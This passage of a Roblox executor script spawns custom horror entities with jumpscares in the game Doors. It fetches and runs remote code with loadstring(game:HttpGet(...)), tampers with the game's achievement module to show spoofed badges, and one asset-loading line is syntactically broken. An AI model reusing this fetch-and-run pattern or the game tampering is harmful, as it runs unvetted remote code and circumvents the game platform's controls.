game.TweenService:Create(JumpscareContrast,TweenInfo.new(0.5),{Brightness = 0.2,Contrast = 0.2,Saturation = -0.2,TintColor = Color3.fromRGB(255, 0, 4)}):Play()
spawn(function()
while Jumpscaring do game["Run Service"].RenderStepped:Wait()
monster1.CFrame = monster1.CFrame:Lerp(Camera.CFrame*CFrame.new(EntityOffset),LerpAlpha)
end
game.TweenService:Create(monster1,TweenInfo.new(1),{CFrame = Camera.CFrame*CFrame.new(Vector3.new(0,-1.2,45))}):Play()
end)
wait(0.5) Jumpscaring = false
Gui.JumpscareEnd.Image = monster1:FindFirstChild("Main"):FindFirstChild("Face").Texture
game.TweenService:Create(Gui.JumpscareEnd,TweenInfo.new(0.5),{Size = Gui.Full.Size,Position = Gui.Full.Position,Rotation = math.random(-20,20)}):Play()
game.TweenService:Create(JumpscareContrast,TweenInfo.new(10),{Brightness = 0,Contrast = 0,Saturation = 0,TintColor = Color3.fromRGB(255, 255, 255)}):Play()
Char:FindFirstChildWhichIsA("Humanoid"):TakeDamage(100)
DEATHMESSAGE({"You died to an enitity designated as A-60", "It can Apear at any moment, a loud scream will anounce its presence", "When you hear it spawn you must stay out of its reach as soon as possible", "It knows exactly where you are so hiding in different places will not work.."},"A-60")
wait(0.5)
game.TweenService:Create(Gui.JumpscareEnd,TweenInfo.new(0.5),{ImageTransparency = 1}):Play()
game.Debris:AddItem(monster1,1)
end
coroutine.wrap(DKITLS_fake_script)()
local function OUNG_fake_script() -- JumpscareEnd.Script
local script = Instance.new('Script', JumpscareEnd)
while true do
wait()
-- script.Parent.Rotation = script.Parent.Rotation + math.random(-6,6)
--script.Parent.Position = script.Parent.Position + UDim2.new(0,math.random(0,100),0,math.random(-150,150))
end
end
coroutine.wrap(OUNG_fake_script)()
end
-------------------
local A60 = workspace:FindFirstChild("A-60"):FindFirstChild("RushNew") print(A60.Name)
local deb = false
local function canSeeTarget(target,size)
if deb == true then
return
end
local origin = A60.Position
local direction = (target.HumanoidRootPart.Position - A60.Position).unit * size
local ray = Ray.new(origin, direction)
local hit, pos = workspace:FindPartOnRay(ray, A60)
if hit then
if hit:IsDescendantOf(target) then print("DIE")
deb = true
if workspace.Ambience_Seek.Playing == true then
return
end
for i,v in pairs(A60:GetDescendants()) do
if v:IsA("Sound") then
v:Destroy()
end
end
spawn(function()
Kill()
end)
return true
end
else
return false
end
end
spawn(function()
while entity ~= nil do wait(0.5)
local v = game.Players.LocalPlayer
if v.Character ~= nil and not v.Character:GetAttribute("Hiding") then
local c = canSeeTarget(v.Character,50)
if c == true then
print("cansee")
end
end
end
end)
spawn(function()
local Monster = workspace:FindFirstChild("A-60")
local Part = Monster:FindFirstChild("RushNew")
Part.Static:Play()
Part.Static.Pitch = 1.6
while game["Run Service"].Heartbeat:Wait() and spawned do
local get = Part.IMAGEIDS:GetChildren()
local random = get[math.random(1,#get)]
Part.Main.Face.Texture = random.Image
wait(Random.new():NextNumber(0,0.07))
end
end)
end
local despawnsnd
entity.Debug.OnEntityDespawned = function(entity)
spawned = false
local Snd = Instance.new("Sound")
Snd.Volume = 1
Snd.Pitch = 0.1
Snd.SoundId = "rbxassetid://7757472223"
Snd.Parent = workspace
Snd.Volume = 10
Snd:Play()
despawnsnd = Snd
game.Debris:AddItem(Snd,25)
spawn(function()
while Snd.Playing do wait(0.5)
if game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid").Health == 0 then
Snd:Destroy()
end
end
end)
local Reboundcolor = Instance.new("ColorCorrectionEffect",game.Lighting) game.Debris:AddItem(Reboundcolor,24)
Reboundcolor.Name = "Despawn"
Reboundcolor.TintColor = Color3.fromRGB(255, 0, 4) Reboundcolor.Saturation = -0.7 Reboundcolor.Contrast = 0.2
game.TweenService:Create(Reboundcolor,TweenInfo.new(15),{TintColor = Color3.fromRGB(255, 255, 255),Saturation = 0, Contrast = 0}):Play()
game.Debris:AddItem(Reboundcolor,40)
game.TweenService:Create(Snd,TweenInfo.new(23),{Volume = 0}):Play()
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
camShake:ShakeOnce(5,45,0.1,20,2,20)
if getgenv().death == true then
getgenv().Title = "A nostalgic fright..." --Title Here
getgenv().Description = "Might Come back..." --Description Here
getgenv().Reason = "Encounter and survive the rare Entity called A-60" --Reason Here
getgenv().BadgeId = 2129311962 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
Unlock(nil,"Join")
end
end
entity.Debug.OnEntityStartMoving = function(entity)
end
---------------------------
-- Run the created entity
Creator.runEntity(entity)
end)
end
spawn(function()
------------------------------------------Entity A-60 basically just click execute at the same time as ur friend
local function a()
getgenv().death = false
while wait(680) do
if (workspace.Ambience_Seek.Playing) then
a()
return
end
local Creator = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entity = Creator.createEntity({
Model = "12263106166",
Speed = 350,
DelayTime = 3,
HeightOffset = 0.5,
CanKill = false,
FlickerLights = {
false,
4,
},
Cycles = {
Min = 4,
Max = 4,
WaitTime = 0.05,
},
CamShake = {
true,
{30, 30, 0.1, 1},
50,
},
Jumpscare = {
false, -- Enabled ('false' if you don't want jumpscare)
{
Image1 = "rbxassetid://11394048190", -- Image1 url
Image2 = "rbxassetid://11395251069", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled
Color3.fromRGB(255, 0, 0), -- Color
},
Tease = {
true, -- Enabled ('false' if you don't want tease)
Min = 1,
Max = 3,
},
},
},
CustomDialog = {"You died to an enitity designated as A-60", "It can Appear at any moment, a loud scream will anounce its presence", "When you hear it spawn you must stay out of its reach as soon as possible", "It knows exactly where you are so hiding in different places will not work.."}
})
local spawned = true
-----[[ Advanced ]]-----
entity.Debug.OnEntitySpawned = function()
print("hi")
local function GetGitSound(GithubSnd,SoundName)
local url=GithubSnd
if not isfile(SoundName..".mp3") then
writefile(SoundName..".mp3", game:HttpGet(url))
end
local sound=Instance.new("Sound")
sound.SoundId=(getcustomasset or getsynasset)(SoundName..".mp3")
return sound
end
local function Kill()
print("killering")
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local JumpscareEnd = Instance.new("ImageLabel")
local Full = Instance.new("ImageLabel")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
JumpscareEnd.Name = "JumpscareEnd"
JumpscareEnd.Parent = ScreenGui
JumpscareEnd.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
JumpscareEnd.BackgroundTransparency = 1.000
JumpscareEnd.Position = UDim2.new(0.468161434, 0, 0.455128193, 0)
JumpscareEnd.Size = UDim2.new(0.0636771321, 0, 0.0884615406, 0)
JumpscareEnd.Image = "rbxassetid://0"
JumpscareEnd.ImageColor3 = Color3.fromRGB(255, 0, 4)
Full.Name = "Full"
Full.Parent = ScreenGui
Full.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Full.BackgroundTransparency = 1.000
Full.Position = UDim2.new(-0.0609865487, 0, -0.224358946, 0)
Full.Size = UDim2.new(1.12197304, 0, 1.44743586, 0)
Full.Image = "http://www.roblox.com/asset/?id=11151804223"
Full.ImageTransparency = 1.000
-- Scripts:
local function DKITLS_fake_script() -- ScreenGui.Jumpscare
local script = Instance.new('LocalScript', ScreenGui)
--if not workspace:FindFirstChild("A-60") then return end
local Gui = script.Parent
local Plr = game.Players.LocalPlayer
local Char = Plr.Character
local Hum = Char:FindFirstChildOfClass("Humanoid")
local Root = Char:FindFirstChild("HumanoidRootPart")
local A60 = workspace:FindFirstChild("A-60")
local Camera = workspace.CurrentCamera
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local ReSt = game:GetService("ReplicatedStorage")
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
Camera.CFrame = Camera.CFrame * cf
end)
camShake:Start()
local Jumpscaring = true
local monster1 = A60:FindFirstChild("RushNew"):Clone()
local function ImageChange(Part)
spawn(function()
while game["Run Service"].Heartbeat:Wait() do
local get = Part.IMAGEIDS:GetChildren()
local randome = get[math.random(1,#get)]
Part.Main.Face.Texture = randome.Image
wait(Random.new():NextNumber(0,0.02))
end
end)
end
monster1.Parent = Camera ImageChange(monster1) monster1.Name = "A-60_SCARE"
for i,v in pairs(monster1:GetDescendants()) do
if v:IsA("Sound") then
v:Destroy()
end
end
local EntityOffset = Vector3.new(0,-1.2,-5)
local LerpAlpha = 0.8
local JumpscareSound = GetGitSound("https://github.com/Noonie1/goob/blob/main/A-60jumpscare%20(1).mp3?raw=true","asixtyScareOmg") JumpscareSound.Parent = workspace
JumpscareSound.Volume = 6
JumpscareSound:Play()
camShake:ShakeOnce(25,25,0,4,90,60)
local JumpscareContrast = Instance.new("ColorCorrectionEffect",game.Lighting)
game.TweenService:Create(JumpscareContrast,TweenInfo.new(0.5),{Brightness = 0.2,Contrast = 0.2,Saturation = -0.2,TintColor = Color3.fromRGB(255, 0, 4)}):Play()
spawn(function()
while Jumpscaring do game["Run Service"].RenderStepped:Wait()
monster1.CFrame = monster1.CFrame:Lerp(Camera.CFrame*CFrame.new(EntityOffset),LerpAlpha)
end
game.TweenService:Create(monster1,TweenInfo.new(1),{CFrame = Camera.CFrame*CFrame.new(Vector3.new(0,-1.2,45))}):Play()
end)
wait(0.5) Jumpscaring = false
Gui.JumpscareEnd.Image = monster1:FindFirstChild("Main"):FindFirstChild("Face").Texture
game.TweenService:Create(Gui.JumpscareEnd,TweenInfo.new(0.5),{Size = Gui.Full.Size,Position = Gui.Full.Position,Rotation = math.random(-20,20)}):Play()
game.TweenService:Create(JumpscareContrast,TweenInfo.new(10),{Brightness = 0,Contrast = 0,Saturation = 0,TintColor = Color3.fromRGB(255, 255, 255)}):Play()
Char:FindFirstChildWhichIsA("Humanoid"):TakeDamage(100)
DEATHMESSAGE({"You died to an enitity designated as A-60", "It can Apear at any moment, a loud scream will anounce its presence", "When you hear it spawn you must stay out of its reach as soon as possible", "It knows exactly where you are so hiding in different places will not work.."},"A-60")
wait(0.5)
game.TweenService:Create(Gui.JumpscareEnd,TweenInfo.new(0.5),{ImageTransparency = 1}):Play()
game.Debris:AddItem(monster1,1)
end
coroutine.wrap(DKITLS_fake_script)()
local function OUNG_fake_script() -- JumpscareEnd.Script
local script = Instance.new('Script', JumpscareEnd)
while true do
wait()
-- script.Parent.Rotation = script.Parent.Rotation + math.random(-6,6)
--script.Parent.Position = script.Parent.Position + UDim2.new(0,math.random(0,100),0,math.random(-150,150))
end
end
coroutine.wrap(OUNG_fake_script)()
end
-------------------
local A60 = workspace:FindFirstChild("A-60"):FindFirstChild("RushNew") print(A60.Name)
local deb = false
local function canSeeTarget(target,size)
if deb == true then
return
end
local origin = A60.Position
local direction = (target.HumanoidRootPart.Position - A60.Position).unit * size
local ray = Ray.new(origin, direction)
local hit, pos = workspace:FindPartOnRay(ray, A60)
if hit then
if hit:IsDescendantOf(target) then print("DIE")
deb = true
if workspace.Ambience_Seek.Playing == true then
return
end
for i,v in pairs(A60:GetDescendants()) do
if v:IsA("Sound") then
v:Destroy()
end
end
spawn(function()
Kill()
end)
return true
end
else
return false
end
end
spawn(function()
while entity ~= nil do wait(0.5)
local v = game.Players.LocalPlayer
if v.Character ~= nil and not v.Character:GetAttribute("Hiding") then
local c = canSeeTarget(v.Character,50)
if c == true then
print("cansee")
end
end
end
end)
spawn(function()
local Monster = workspace:FindFirstChild("A-60")
local Part = Monster:FindFirstChild("RushNew")
Part.Static:Play()
Part.Static.Pitch = 1.6
while game["Run Service"].Heartbeat:Wait() and spawned do
local get = Part.IMAGEIDS:GetChildren()
local random = get[math.random(1,#get)]
Part.Main.Face.Texture = random.Image
wait(Random.new():NextNumber(0,0.07))
end
end)
end
local despawnsnd
entity.Debug.OnEntityDespawned = function(entity)
spawned = false
local Snd = Instance.new("Sound")
Snd.Volume = 1
Snd.Pitch = 0.1
Snd.SoundId = "rbxassetid://7757472223"
Snd.Parent = workspace
Snd.Volume = 10
Snd:Play()
despawnsnd = Snd
game.Debris:AddItem(Snd,25)
spawn(function()
while Snd.Playing do wait(0.5)
if game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid").Health == 0 then
Snd:Destroy()
end
end
end)
local Reboundcolor = Instance.new("ColorCorrectionEffect",game.Lighting) game.Debris:AddItem(Reboundcolor,24)
Reboundcolor.Name = "Despawn"
Reboundcolor.TintColor = Color3.fromRGB(255, 0, 4) Reboundcolor.Saturation = -0.7 Reboundcolor.Contrast = 0.2
game.TweenService:Create(Reboundcolor,TweenInfo.new(15),{TintColor = Color3.fromRGB(255, 255, 255),Saturation = 0, Contrast = 0}):Play()
game.Debris:AddItem(Reboundcolor,40)
game.TweenService:Create(Snd,TweenInfo.new(23),{Volume = 0}):Play()
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
camShake:ShakeOnce(5,45,0.1,20,2,20)
if getgenv().death == true then
getgenv().Title = "A nostalgic fright..." --Title Here
getgenv().Description = "Might Come back..." --Description Here
getgenv().Reason = "Encounter and survive the rare Entity called A-60" --Reason Here
getgenv().BadgeId = 2129311962 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
Unlock(nil,"Join")
end
end
entity.Debug.OnEntityStartMoving = function(entity)
end
---------------------------
-- Run the created entity
Creator.runEntity(entity)
end
end
a()
end)
local gotReboundsBadge = false
spawn(function()
while wait(1) do
local function a()
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureIntense.Playing or workspace.Ambience_FigureEnd.Playing or workspace.CurrentRooms:FindFirstChild("50")) then
a()
return
end
game:GetService("ReplicatedStorage").GameData.LatestRoom:GetPropertyChangedSignal("Value"):Wait()
local killed = false
local ReSt = game:GetService("ReplicatedStorage")
local Plr = game.Players.LocalPlayer
local val = 80
local events = require(game.ReplicatedStorage.ClientModules.Module_Events)
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
function GetTime(Distance, Speed)
-- Time = Distance / Speed
local Time = Distance / Speed
return Time
end
local function GetGitSound(GithubSnd,SoundName)
local url=GithubSnd
if not isfile(SoundName..".mp3") then
writefile(SoundName..".mp3", game:HttpGet(url))
end
local sound=Instance.new("Sound")
sound.SoundId=(getcustomasset or getsynasset)(SoundName..".mp3")
return sound
end
local function GetGitModel(ModelUrl,ModelName)
if not isfile(ModelName..".txt") then writefile(ModelName..".txt", game:HttpGet(ModelUrl)) end
local a=game:GetObjects((getcustomasset or getsynasset)(ModelName..".txt"))[1]
a.Name=ModelName
return a
end
function GetLastRoom()
local roomer = nil
--pcall(function()
local gruh = workspace.CurrentRooms
--for i = game.ReplicatedStorage.GameData.LatestRoom.Value,0,-1 do
-- if gruh:FindFirstChild(i) then
-- print("room "..i)
-- local room = gruh[i]
-- if room:FindFirstChild("Nodes") then
-- if
-- local roomer = room
-- end
-- end
--end
--end)
return game.Workspace.CurrentRooms[game.ReplicatedStorage.GameData.LatestRoom.Value + 1]
end
local DEF_SPEED = 99999
local function Move()
local Reboundspeed = 5000
local ReboundDelay = 0
local storer = Reboundspeed
local entityheight = Vector3.new(0,0.6,0)
----------
--12254145022
local s = game:GetObjects("rbxassetid://"12254145022")[1]
s.Parent = workspace
local entity = s.Rebound
entity.CanCollide = false
----------------------
--_SHAKER DO NOT MOD IFY
-----------OnSpawn----------
----------------------------
task.wait(4)
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureEnd.Playing) then
a()
return
end
--2129254734
----------Moving------------
local gruh = workspace.CurrentRooms
local ReboundMoving = GetGitSound("https://github.com/Noonie1/ReboundMain/blob/main/ReboundMoving.mp3?raw=true","ReboundMoving")
ReboundMoving.Parent = entity
ReboundMoving:Play()
ReboundMoving.Volume = 9
entity.CFrame = GetLastRoom().RoomExit.CFrame
Reboundspeed = DEF_SPEED
wait(math.random(1,1))
--------------
local function canSeeTarget(target,size)
if killed == false then
return
end
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureEnd.Playing or workspace.CurrentRooms:FindFirstChild("50")) then
return
end
local origin = entity.Position
local direction = (target.HumanoidRootPart.Position - entity.Position).unit * size
local ray = Ray.new(origin, direction)
local hit, pos = workspace:FindPartOnRay(ray, entity)
if hit then
if hit:IsDescendantOf(target) then
killed = false
return true
end
else
return false
end
end
-------------------------
spawn(function()
while entity ~= nil do wait(0.5)
local v = game.Players.LocalPlayer
local parent = script.Parent
if v.Character ~= nil and not v.Character:GetAttribute("Hiding") then
if canSeeTarget(v.Character,50) then
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureEnd.Playing or workspace.CurrentRooms:FindFirstChild("50")) then
return
end
ReboundMoving:Stop()
--reboundjumpscare
local ReboundJs = Instance.new("ScreenGui")
local Static = Instance.new("ImageLabel")
local Rebound = Instance.new("ImageLabel")
local JSSIZE = Instance.new("ImageLabel")
ReboundJs.Name = "ReboundJs"
ReboundJs.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
Static.Name = "Static"
Static.Parent = ReboundJs
Static.BackgroundColor3 = Color3.fromRGB(0, 63, 139)
Static.BackgroundTransparency = 1.000
Static.BorderColor3 = Color3.fromRGB(27, 42, 53)
Static.BorderSizePixel = 0
Static.Size = UDim2.new(1, 0, 1, 0)
Static.Image = "rbxassetid://236543215"
Static.ImageColor3 = Color3.fromRGB(0, 255, 255)
Static.ImageTransparency = 1.000
Rebound.Name = "Rebound"
Rebound.Parent = ReboundJs
Rebound.BackgroundColor3 = Color3.fromRGB(0, 63, 139)
Rebound.BackgroundTransparency = 1.000
Rebound.BorderSizePixel = 0
Rebound.Position = UDim2.new(0.486631036, 0, 0.479363143, 0)
Rebound.Size = UDim2.new(0.0267379656, 0, 0.0387096703, 0)
Rebound.Image = "rbxassetid://10914800940"
JSSIZE.Name = "JSSIZE"
JSSIZE.Parent = ReboundJs
JSSIZE.BackgroundColor3 = Color3.fromRGB(0, 63, 139)
JSSIZE.BackgroundTransparency = 1.000
JSSIZE.BorderSizePixel = 0
JSSIZE.Position = UDim2.new(-0.586452842, 0, -1.25140607, 0)
JSSIZE.Size = UDim2.new(2.12834215, 0, 3.08128953, 0)
JSSIZE.Visible = false
JSSIZE.Image = "rbxassetid://10914800940"
-- Scripts:
local function ODEBL_fake_script() -- Static.yua
local script = Instance.new('LocalScript', Static)
while true do
script.Parent.Image = "rbxassetid://236543215"
wait(0.002)
script.Parent.Rotation = 0
wait(0.002)
script.Parent.Rotation = 180
wait(0.002)
script.Parent.Image = "rbxassetid://236777652"
wait(0.002)
script.Parent.Rotation = 0
wait(0.002)
script.Parent.Rotation = 180
wait(0.002)
end
end
coroutine.wrap(ODEBL_fake_script)()
local function KLWZC_fake_script() -- ReboundJs.jumpedscare
local script = Instance.new('LocalScript', ReboundJs)
local ReSt = game.ReplicatedStorage
local Plr = game.Players.LocalPlayer
local gui = script.Parent
local static = gui.Static
local jspos = gui.JSSIZE
local JSSOUND = GetGitSound("https://github.com/Noonie1/ReboundMain/blob/main/KILL.mp3?raw=true","ReboundMurder") JSSOUND.Parent = workspace
JSSOUND.Volume = 2
local function Jumpscare()
game.TweenService:Create(static,TweenInfo.new(0.5),{BackgroundTransparency = 0,ImageTransparency = 0.8}):Play()
game.TweenService:Create(gui.Rebound,TweenInfo.new(0.5),{Size = jspos.Size,Position = jspos.Position}):Play()
JSSOUND:Play()
spawn(function()
wait(0.3)
Plr.Character:FindFirstChildWhichIsA("Humanoid"):TakeDamage(100)
ReSt.GameStats["Player_".. Plr.Name].Total.DeathCause.Value = "Rebound"
firesignal(game.ReplicatedStorage.EntityInfo.DeathHint.OnClientEvent, {"You died to who you call Rebound...","He makes his presence known and keeps coming back...","Hide when this happens!"},'Blue')
end)
wait(0.5)
game.TweenService:Create(static,TweenInfo.new(1),{BackgroundTransparency = 1,ImageTransparency = 1}):Play()
game.TweenService:Create(gui.Rebound,TweenInfo.new(0.3),{ImageTransparency = 1}):Play()
wait(1)
JSSOUND:Destroy()
gui:Destroy()
end
Jumpscare()
end
coroutine.wrap(KLWZC_fake_script)()
end
end
if v.Character ~= nil then
if v.Character:FindFirstChild("HumanoidRootPart") and (entity.Position - v.Character:FindFirstChild("HumanoidRootPart").Position).magnitude <= val then
camShake:ShakeOnce(9,8,0.1,2,1,6)
end
end
end
end)
-----------------------
for i = game.ReplicatedStorage.GameData.LatestRoom.Value + 1,0,-1 do
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureEnd.Playing) then
break
end
if gruh:FindFirstChild(i) then
print("room "..i)
local room = gruh[i]
if room:FindFirstChild("Nodes") then
local RoomStart = room:FindFirstChild("RoomEntrance")
local RoomEnd = room:FindFirstChild("RoomExit")
if RoomEnd then
Reboundspeed = storer
game.TweenService:Create(entity,TweenInfo.new(Reboundspeed),{CFrame = RoomStart.CFrame + entityheight}):Play()
wait(ReboundDelay)
end
end
end
print("looping")
end
entity.Anchored = true
entity.CanCollide = false
end
local function Rebound()
--------spawning---------
local Snd = GetGitSound("https://github.com/Noonie1/ReboundMain/blob/main/ReboundWarning.mp3?raw=true","ReboundWarning")
Snd.Parent = workspace
Snd.Volume = 9
Snd:Play()
local Reboundcolor = Instance.new("ColorCorrectionEffect",game.Lighting) game.Debris:AddItem(Reboundcolor,24)
Reboundcolor.Name = "Warn"
Reboundcolor.TintColor = Color3.fromRGB(65, 138, 255) Reboundcolor.Saturation = -0.7 Reboundcolor.Contrast = 0.2
game.TweenService:Create(Reboundcolor,TweenInfo.new(15),{TintColor = Color3.fromRGB(255, 255, 255),Saturation = 0, Contrast = 0}):Play()
camShake:ShakeOnce(10,3,0.1,6,2,0.5)
----------moving
Move()
local maxrebounds = 3
while wait() and maxrebounds ~= 0 do
if workspace.Ambience_Figure.Playing == true then
break
end
game.ReplicatedStorage.GameData.LatestRoom.Changed:Wait()
maxrebounds = maxrebounds - 1
wait(2)
Move()
end
if gotReboundsBadge == false then gotReboundsBadge = true
getgenv().Title = "Out Of Many Rebounds" --Title Here
getgenv().Description = "Back for more!" --Description Here
getgenv().Reason = "Encounter Rebound." --Reason Here
getgenv().BadgeId = 2129254734 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
Unlock(nil,"Join")
end
----------------------
end
pcall(Rebound)
end
a()
end
end)
spawn(function() -- ripper
local gotRippersBadge = false
local function a()
while wait(179) do
game:GetService("ReplicatedStorage").GameData.LatestRoom:GetPropertyChangedSignal("Value"):Wait()
function DEATHMESSAGE(message,who)
spawn(function()
for i = 1,50 do wait()
game:GetService("ReplicatedStorage").GameStats["Player_".. game.Players.LocalPlayer.Name].Total.DeathCause.Value = who
firesignal(game.ReplicatedStorage.EntityInfo.DeathHint.OnClientEvent, message, 'Blue')
end
end)
end
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureEnd.Playing or workspace.CurrentRooms:FindFirstChild("50")) then
a()
return
end
local killed = false
local Plr = game.Players.LocalPlayer
local ReSt = game.ReplicatedStorage
local val = 80
local events = require(game.ReplicatedStorage.ClientModules.Module_Events)
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
function GetTime(Distance, Speed)
-- Time = Distance / Speed
local Time = Distance / Speed
return Time
end
local DEF_SPEED = 99999
local function THEHORROR()
---configs
local breakMove = false
local ambruhspeed = 100
local storer = ambruhspeed
local ambushheight = Vector3.new(0,5,0)
local redtweeninfo = TweenInfo.new(3)
local redinfo = {Color = Color3.new(1, 0, 0.133333)}
----------
camShake:Shake(cameraShaker.Presets.Earthquake)
for i,v in pairs(game.Workspace.CurrentRooms:GetDescendants()) do
if v:IsA("Light") then
game.TweenService:Create(v,redtweeninfo,redinfo):Play()
if v.Parent.Name == "LightFixture" then
game.TweenService:Create(v.Parent,redtweeninfo,redinfo):Play()
end
end
end
local s = game:GetObjects("rbxassetid://12272798431")[1]
s.Parent = workspace
local ambush = s.Ripe
ambush.Ambush.Volume = 0
local amb = ambush.Spawn:Clone() amb.Parent = workspace
amb.TimePosition = 0
amb:Play()
amb.Volume = 6
----------------------
--------------
local function canSeeTarget(target,size)
if killed == true then
return
end
if (workspace.Ambience_Seek.Playing or workspace.Ambience_FigureIntense.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureEnd.Playing) then
return false
end
local origin = ambush.Position
local direction = (target.HumanoidRootPart.Position - ambush.Position).unit * size
local ray = Ray.new(origin, direction)
local hit, pos = workspace:FindPartOnRay(ray, ambush)
if hit then
if hit:IsDescendantOf(target) then
killed = true
return true
end
else
return false
end
end
local function GetGitSound(GithubSnd,SoundName)
local url=GithubSnd
if not isfile(SoundName..".mp3") then
writefile(SoundName..".mp3", game:HttpGet(url))
end
local sound=Instance.new("Sound")
sound.SoundId=(getcustomasset or getsynasset)(SoundName..".mp3")
return sound
end
-------------------------
--_SHAKER DO NOT MOD IFY
spawn(function()
while ambush ~= nil do wait(0.2)
local v = game.Players.LocalPlayer
local parent = script.Parent
if v.Character ~= nil and not v.Character:GetAttribute("Hiding") then
if canSeeTarget(v.Character,50) then
breakMove = true
local Noise = Instance.new("ScreenGui")
local ImageLabel = Instance.new("ImageLabel")
Noise.Name = "Noise"
Noise.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
Noise.IgnoreGuiInset = true
ImageLabel.Parent = Noise
ImageLabel.BackgroundTransparency = 1.000
ImageLabel.Size = UDim2.new(1, 0, 1, 0)
ImageLabel.Image = "rbxassetid://236542974"
ImageLabel.ImageTransparency = 1.000
local function GJQAHX_fake_script() -- Noise.Death
local script = Instance.new('LocalScript', Noise)
local char = game.Players.LocalPlayer.Character
local ripper = workspace.Death.Ripe
local ripperscare = ripper:Clone()
ripperscare.Parent = workspace
ripperscare.Position = ripper.Position
ripperscare.ripe.ParticleEmitter.Texture = "rbxassetid://11816152645"
for i,v in pairs(ripperscare:GetDescendants()) do
if v:IsA("ParticleEmitter") then
spawn(function()
v.Rate = 9999
wait(0.25)
v.TimeScale = 0.0
end)
elseif v:IsA("Sound") then
v.Volume = 0
end
end
ripper:Destroy()
local static = Instance.new("Sound",workspace)
static.SoundId = "rbxassetid://372770465"
static.Volume = 10
static.Pitch = 0.7
local crash = GetGitSound("https://github.com/Noonie1/RandomUtilities/blob/a/game%20crash%20sound.mp3?raw=true","ripperscare")
crash.Parent = workspace
crash.Volume = 3
crash.Pitch = 1
local make = Instance.new("Part",workspace)
make.Transparency = 1
make.CanCollide = false
make.CanTouch = false
make.Anchored = true
make.Name = "pants pooper"
char:FindFirstChild("HumanoidRootPart").Anchored = true
make.CFrame = workspace.Camera.CFrame
crash:Play()
workspace.Camera.CameraType = Enum.CameraType.Scriptable
local sceneing = true
local sillybilly = {8482795900,236542974,184251462,236777652}
spawn(function()
while game["Run Service"].RenderStepped:Wait() and sceneing do
workspace.Camera.CFrame = make.CFrame
script.Parent.ImageLabel.Image = "rbxassetid://"..sillybilly[math.random(1,#sillybilly)]
end
end)
local t = game.TweenService:Create(make,TweenInfo.new(0.3,Enum.EasingStyle.Circular,Enum.EasingDirection.InOut),{CFrame = CFrame.lookAt(make.Position,ripperscare.Position)})
t:Play()
t.Completed:Wait()
wait(1)
game.TweenService:Create(script.Parent.ImageLabel,TweenInfo.new(2),{ImageTransparency = 0}):Play()
static:Play() static.Volume = 0
game.TweenService:Create(static,TweenInfo.new(2),{Volume = 10}):Play()
wait(2)
sceneing = false
game.TweenService:Create(script.Parent.ImageLabel,TweenInfo.new(1),{ImageTransparency = 1}):Play()
